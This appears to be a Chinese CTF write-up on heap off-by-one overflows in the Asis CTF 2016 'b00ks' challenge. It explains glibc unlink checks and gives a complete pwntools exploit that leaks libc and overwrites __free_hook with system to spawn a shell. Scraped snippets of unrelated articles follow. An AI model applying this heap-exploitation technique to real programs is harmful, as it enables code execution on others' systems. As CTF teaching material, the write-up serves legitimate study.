CTF-PWN-堆- 【off-by-one】

文章目录

  • 堆的off-by-one
  • 利用思路
  • Asis CTF 2016 b00ks libc 2.31
  • IDA源码
    • main
    • 输入名字
    • creat函数
    • dele函数
    • edit函数
    • print函数
    • reeditor name函数
  • 思路
  • exp
    • 思路

堆的off-by-one

off-by-one指的是单字节缓冲区溢出(off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等)
写入字节时超过本身申请的一个字节

  • 循环设置错误,多写了一个字节
  • 字符串长度判断有误
    strlen()计算字符串的长度不包括空结束字符
    调用gets函数后 字符串结束符自动添加到输入字符串末尾
    strcpy拷贝时候会把空结束字符也拷贝)

利用思路

  • 当溢出部分可控制任意字节时,且溢出部分为size段时,可修改大小,进而泄露其他chunk数据或者覆盖其他块的数据

  • 当溢出部分固定为NULL字节时,且溢出部分为size段时,且size大小为0x100的整数倍时,它的低字节会被清0,同时标志位都会被清0,这样前一个chunk块会被认为free块

    (1)可以利用unlink
    (2)可以利用同时构造pre_size和对应的NULL字节溢出,然后unlink时合并,此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

注意2.28版本以后有check检查prev_size 找到的块的大小与prev_size 是否一致,2.28 及之前版本并没有该 check

/* consolidate backward */if (!prev_inuse(p)) {prevsize = prev_size (p);size += prevsize;p = chunk_at_offset(p, -((long) prevsize));/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */if (__glibc_unlikely (chunksize(p) != prevsize))malloc_printerr ("corrupted size vs. prev_size while consolidating");unlink_chunk (av, p);}

Asis CTF 2016 b00ks libc 2.31

IDA源码

main

在这里插入图片描述

输入名字

在这里插入图片描述
在这里插入图片描述
存在溢出 *a1=0

creat函数

在这里插入图片描述
在这里插入图片描述

dele函数

在这里插入图片描述

edit函数

在这里插入图片描述

print函数

在这里插入图片描述

reeditor name函数

在这里插入图片描述

思路

三类堆块:第一类为name的,第二类为description的,第三类为存储name和description堆块相关信息的
两坨空间:off_202010和0ff_202018分别存储着偏移202060和202040的地址,偏移202060对应的是author name的,偏移202040对应的是第三类堆块的地址
在这里插入图片描述

只有接近或超过top_chunk的size(128KB=2的17次方字节即0x2000)大小时候才会使用mmap扩展.
某些版本libc和mmap分配的堆块之间的偏移是固定的。

  • 利用溢出的空字符特性,首先写入32个字节的名字,然后creat两次,第一次对应的chunk大小都为malloc分配的,且该第三类chunk地址低字节覆盖为\x00时正好对应第二类chunk的地址,第二次对应的chunk大小大于top_chunk的size从而被mmap分配,然后利用printf时\x00截断的特性能够得到第一次对应的第三类chunk的地址
  • 然后重写第一次chunk的description(第二类chunk)构造为description部分对应第二次chunk的地址的chunk,然后重写名字,将空字符覆盖到储存第一次chunk对应的第三类chunk的指针数组位置,从而实现最低位字节为\x00,进而对应了第一次chunk的第二类chunk地址,
  • 然后print,此时会输出第二次chunk对应的description的chunk的地址,由于该chunk是mmap分配的,此时版本对应的该chunk地址和libc基址距离固定,可求libc基地址,进而求__free_hook地址和system函数地址
  • 然后再重写此时的第一次chunk(已经被构造为之前第一次chunk对应的description的chunk了)的description,进而修改第二次chunk的第三类chunk中的description的chunk的地址,此时用__free_hook的地址写入,然后重写第二次chunk的description可实现修改__free_hook的内容为system函数地址
  • 再次修改第一次chunk的description的从而实现向第二次chunk的第三类的chunk的description部分写入/bin/sh,最后dele第一次的chunk从而调用到free函数且此时有参数为/bin/sh的地址

exp

from pwn import *
#context(os="linux",arch="amd64",log_level="debug")
s=process("./b00ks")
f=ELF("./b00ks")
libc=ELF("./libc-2.31.so")#gdb.attach(s,"b main")
def cre(name_size,name,description_size,description):s.recvuntil(b"> ")s.sendline(b'1')s.recvuntil(b"size: ")s.sendline(str(name_size))s.recvuntil(b"Enter book name (Max 32 chars): ")s.sendline(name)s.recvuntil(b"size: ")s.sendline(str(description_size))s.recvuntil(b"Enter book description: ")s.sendline(description)def change(name):s.recvuntil(b"> ")s.sendline(b"5")s.recvuntil(b": ")s.sendline(name)def printbook(id):s.recvuntil(b"> ")s.sendline(b'4')for i in range(id):s.recvuntil(b"ID: ")id=s.recvline()[:-1]s.recvuntil(b"Name: ")name=s.recvline()[:-1]s.recvuntil(b"Description: ")des=s.recvline()[:-1]s.recvuntil(b"A"*32)addr=s.recvline()[:-1]return name,addrdef edit(id,des):s.recvuntil(b"> ")s.sendline(b"3")s.recvuntil(b"edit: ")s.sendline(str(id))s.recvuntil(b"description: ")s.sendline(des)def dele(id):s.recvuntil(b"> ")s.sendline(b"2")s.recvuntil(b"to delete: ")s.sendline(str(id))s.recvuntil(b"name: ")
s.sendline(b"A"*32)
cre(64,b'10',32,b'10')
cre(0x21000,b"10",0x21000,b"10")name,addr=printbook(1)addr=u64(addr.ljust(8,b"\x00"))
payload=p64(1)+p64(addr+0x38)+p64(addr+0x40)+p64(0xfffffff)
edit(1,payload)
change(b"A"*32)
name,addr=printbook(1)
addr=u64(name.ljust(8,b'\x00'))
libc_base=addr+0x21ff0
free_hook_addr=libc.sym["__free_hook"]+libc_base
payload=p64(free_hook_addr)
edit(1,payload)
systemaddr=libc.sym["system"]+libc_base
edit(2,p64(systemaddr))
payload=b"/bin/sh".ljust(8,b"\x00")
edit(1,payload)
dele(1)
print(hex(addr+0x40))
print(hex(free_hook_addr))
print(hex(systemaddr))
s.interactive()

思路

1.利用IDA偏移加上vmmap命令得到的基址可得(或利用pwngdb 中的search命令搜索字符串从而知道位置)
2得知printf截断特性和原chunk写入时覆盖底地址为\x00(还没)
3在若覆盖生成的结构体指针对应位置伪造结构体(还没覆盖但伪造了)
4覆盖原有的结构体指针
5利用覆盖后的结构体指针
7将虚假chunk的部位设置为某位置的地址即可得到该地址的内容,再次利用printf导致泄露,从而知道函数地址
8调试看看泄露的函数地址和libc.so的基地址的偏移是否固定,进而求得其基址
9利用pwntools查找在libc.so库中找到_free_hook的偏移再加上基地址等等
10将_free_hook变量地址写到某个位置(可以将该位置存储的地址所指向的内容修改)。可修改_free_hook变量值为system函数地址,然后将free的参数对应的位置所对应的值修改为/bin/sh的地址 最后 利用free 参数即可getshell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/146460.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决公网下,k8s calico master节点无法访问node节点创建的pod

目的:解决pod部署成功后,只能在node节点访问,而master节点无法访问 原因:集群搭建时,没有配置公网进行kubectl操作,从而导致系统默认node节点,使用内网IP加入k8s集群!如下&#xff…

八股文-TCP的三次握手

TCP协议是一种面向连接、可靠传输的协议,而建立连接的过程就是著名的三次握手。这个过程保证了通信的双方能够同步信息,确保后续的数据传输是可靠和有序的。本文将深入解析TCP三次握手的步骤及其意义。 漫画TCP的三次握手 TCP连接的建立采用了三次握手的…

VSCode 使用CMakePreset找不到cl.exe编译器的问题

在用vscode开发c项目的时候,使用预先配置的CMakePresets.json可以把一些特定的cmake选项固定下来,在配置时直接使用 "cmake --config --preset presetname"就可以进行配置,免去在命令行输入过多的配置参数。 但是在vscode中&#…

C++菜鸟日记2

关于getline()函数,在char和string输入的区别 参考博客 1.在char中的使用: 2.在string中的使用: 关于char字符数组拼接和string字符串拼接方法 参考博客 字符串拼接方法: 1.直接用 号 2.利用append(&#xff0…

【观察】华为:数智世界“一触即达”,应对数智化转型“千变万化”

毫无疑问,数智化既是这个时代前进所趋,也是国家战略所指,更是所有企业未来发展进程中达成的高度共识。 但也要看到,由于大量新兴技术的出现,技术热点不停的轮转,加上市场环境的快速变化,让数智化…

Nacos 配置中心底层原理(1.X版本)

前言 Nacos 1.X版本 是长轮询 Nacos 2.X版本 是GRPC 长轮询 概念 客户端会轮询向服务端发出一个长连接请求,这个长连接最多30s就会超时,服务端收到客户端的请求会先判断当前是否有配置更新,有则立即返回,如果没有服务端会将这个…

upload-labs关卡9(基于win特性data流绕过)通关思路

文章目录 前言一、靶场需要了解的知识1::$data是什么 二、靶场第九关通关思路1、看源码2、bp抓包修改后缀名3、检查是否成功上传 总结 前言 此文章只用于学习和反思巩固文件上传漏洞知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授…

【cpolar】Ubuntu本地快速搭建web小游戏网站,公网用户远程访问

🎥 个人主页:深鱼~🔥收录专栏:cpolar🌄欢迎 👍点赞✍评论⭐收藏 目录 前言 1. 本地环境服务搭建 2. 局域网测试访问 3. 内网穿透 3.1 ubuntu本地安装cpolar 3.2 创建隧道 3.3 测试公网访问 4. 配置…

Netty Review - 从BIO到NIO的进化推演

文章目录 BIODEMO 1DEMO 2小结论单线程BIO的缺陷BIO如何处理并发多线程BIO服务器的弊端 NIONIO要解决的问题模拟NIO方案一: (等待连接时和等待数据时不阻塞)方案二(缓存Socket,轮询数据是否准备好)方案二存…

医院数字化LIS(检验信息系统)源码

临床检验信息管理系统(LIS)是利用计算机连接医疗设备,通过计算机信息处理技术,将医院检验科或实验室的临床检验数据进行自动收集、存储、处理、提取、传输和交换,满足所有授权用户的功能需求。 一、系统概述 1.LIS&am…

Redis篇---第五篇

系列文章目录 文章目录 系列文章目录前言一、持久化有两种,那应该怎么选择呢?二、怎么使用 Redis 实现消息队列?三、说说你对Redis事务的理解前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,…

Axure基础详解二十二:随机点名效果

效果演示 组件 建立一个【中继器】,内部插入一个“文本框”。【中继器】每页项目数为1,开始页为1。 设置交互 页面载入时交互 给【中继器】新曾行,“name”数据列添加10行数据,填入相应的名字;“shunxu”数据列全部…

黑马程序员微服务 分布式搜索引擎3

分布式搜索引擎03 0.学习目标 1.数据聚合 **聚合(aggregations)**可以让我们极其方便的实现对数据的统计、分析、运算。例如: 什么品牌的手机最受欢迎?这些手机的平均价格、最高价格、最低价格?这些手机每月的销售…

Java项目实战《苍穹外卖》 一、项目概述

人道洛阳花似锦,偏我来时不逢春。 系列文章目录 苍穹外卖是黑马程序员2023年的Java实战项目,作为业余练手用,需要源码或者课程的可以找我,无偿分享 Java项目实战《苍穹外卖》 一、项目概述Java项目实战《苍穹外卖》 二、项目搭建 …

电子学会2023年06月青少年软件编程(图形化)等级考试试卷(一级)真题,含答案解析

青少年软件编程(图形化)等级考试试卷(一级) 一、单选题(共25题,共50分) 1. 看图找规律,请问下图红框中是?( ) A.

git使用patch进行补丁操作

文章目录 前言一、format-patch/am生成和应用补丁1、生成2、应用 二、patch文件解读 前言 在软件开发中,代码协作和版本管理是至关重要的。Git 是一个流行的分布式版本控制系统,它提供了各种功能来简化团队合作和代码管理。但是如何给已有项目打补丁&am…

Kafka学习笔记(三)

目录 第5章 Kafka监控(Kafka Eagle)5.2 修改kafka启动命令5.2 上传压缩包5.3 解压到本地5.4 进入刚才解压的目录5.5 将kafka-eagle-web-1.3.7-bin.tar.gz解压至/opt/module5.6 修改名称5.7 给启动文件执行权限5.8 修改配置文件5.9 添加环境变量5.10 启动…

【uniapp】Google Maps

话不多说 直接上干货 提前申请谷歌地图账号一、新建地图 使用h5获取当前定位或者使用三方uniapp插件 var coords ""navigator.geolocation.getCurrentPosition(function(position) {coords {lat: position.coords.latitude,lng: position.coords.longitude};lats …

Objectarx 使用libcurl请求WebApi

因为开发cad需要请求服务器的数据,再次之前我在服务器搭设了webapi用户传递数据,所以安装了libcurl在objectarx中使用数据。 Open VS2012 x64 Native Tools Command Prompt补充地址: 我在此将相关的引用配置图片,cad里面的应用和…

EtherCAT 伺服控制功能块实现

EtherCAT 是运动控制领域主要的通信协议,开源EtherCAT 主站协议栈 IgH 和SOEM 两个项目,IgH 相对更普及一些,但是它是基于Linux 内核的方式,比SOEM更复杂一些。使用IgH 协议栈编写一个应用程序,控制EtherCAT 伺服电机驱…